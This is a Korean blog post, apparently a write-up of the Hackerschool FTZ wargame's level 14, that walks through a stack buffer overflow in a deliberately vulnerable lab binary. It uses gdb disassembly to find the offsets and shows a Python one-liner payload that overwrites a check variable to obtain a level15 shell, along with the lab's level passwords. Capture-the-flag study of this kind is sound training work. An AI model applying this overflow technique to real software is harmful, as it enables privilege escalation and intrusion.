뇌
[FTZ] level 14 → level 15 문제풀이 본문
level14 - id
: level14 , pw
: what that nigga want?
[level14@ftz level14]$ ls
attackme hint public_html tmp
[level14@ftz level14]$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
[level14@ftz level14]$
변수 buf 에 표준입력으로 입력 받고,
만약 변수 check 가 0xdeadbeef 면 level15 의 권한으로 쉘을 실행시키는 프로그램이다.
check 를 직접적으로 입력하는 부분은 없지만, buf 가 20byte 이고, 최대 45byte 만큼 입력할 수 있기 때문에
BOF
취약점이 발생한다.
또한 check 가 buf 보다 먼저 선언 되었으므로 스택에서 buf 보다 더 높은 주소에 있다.
만약 buf 의 시작주소와 check 의 시작주소 사이의 거리가 45 byte 보다 적다면 check 를 덮을 수 있다.
이렇게 배경을 깔고 gdb 로 attackme 파일을 분석해보자.
[level14@ftz level14]$ cp attackme tmp
[level14@ftz level14]$ cd tmp
[level14@ftz tmp]$ gdb -q attackme
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
---Type <return> to continue, or q <return> to quit---
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
End of assembler dump.
(gdb)
0x080484a1 <main+17> 부분을 보면 ebp-56 주소를 fgets 함수의 인자값으로 넘겨준다. ( fgets(buf,45,stdin); )
즉, buf 의 위치는 ebp-56 이다.
0x080484ad <main+29> 부분을 보면 ebp-16 주소에 있는 값과 0xdeadbeef 를 비교한다. ( if (check==0xdeadbeef) )
즉, check 의 위치는 ebp-16 이다.
그러므로 40 byte 만큼 아무 값이나 넣고, 4 byte 를 0xdeadbeef 로 덮으면 되겠다.
buf(20) + dummy(20) + check(4)
A | A | ... | A | \xef | \xbe | \xad | \xde |
↑ ↑
ebp-56 ( buf 시작주소 ) ebp-16 ( check 시작주소 )
구조는 이렇다.
이제 공격해보자.
[level14@ftz tmp]$ cd ..
[level14@ftz level14]$ (python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./attackme
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass
Level15 Password is "guess what".
level15 권한으로 쉘이 실행된 것을 확인할 수 있다.
Level15 Password is "guess what".
감사합니다
'Pwnable > 해커스쿨 FTZ write-up' 카테고리의 다른 글
[FTZ] level 16 → level 17 문제풀이 (0) | 2020.03.06 |
---|---|
[FTZ] level 15 → level 16 문제풀이 (0) | 2020.03.06 |
[FTZ] level 13 → level 14 문제풀이 (0) | 2020.02.29 |
[FTZ] level 12 → level 13 문제풀이 (0) | 2020.02.29 |
[FTZ] level 11 → level 12 문제풀이 (0) | 2020.02.27 |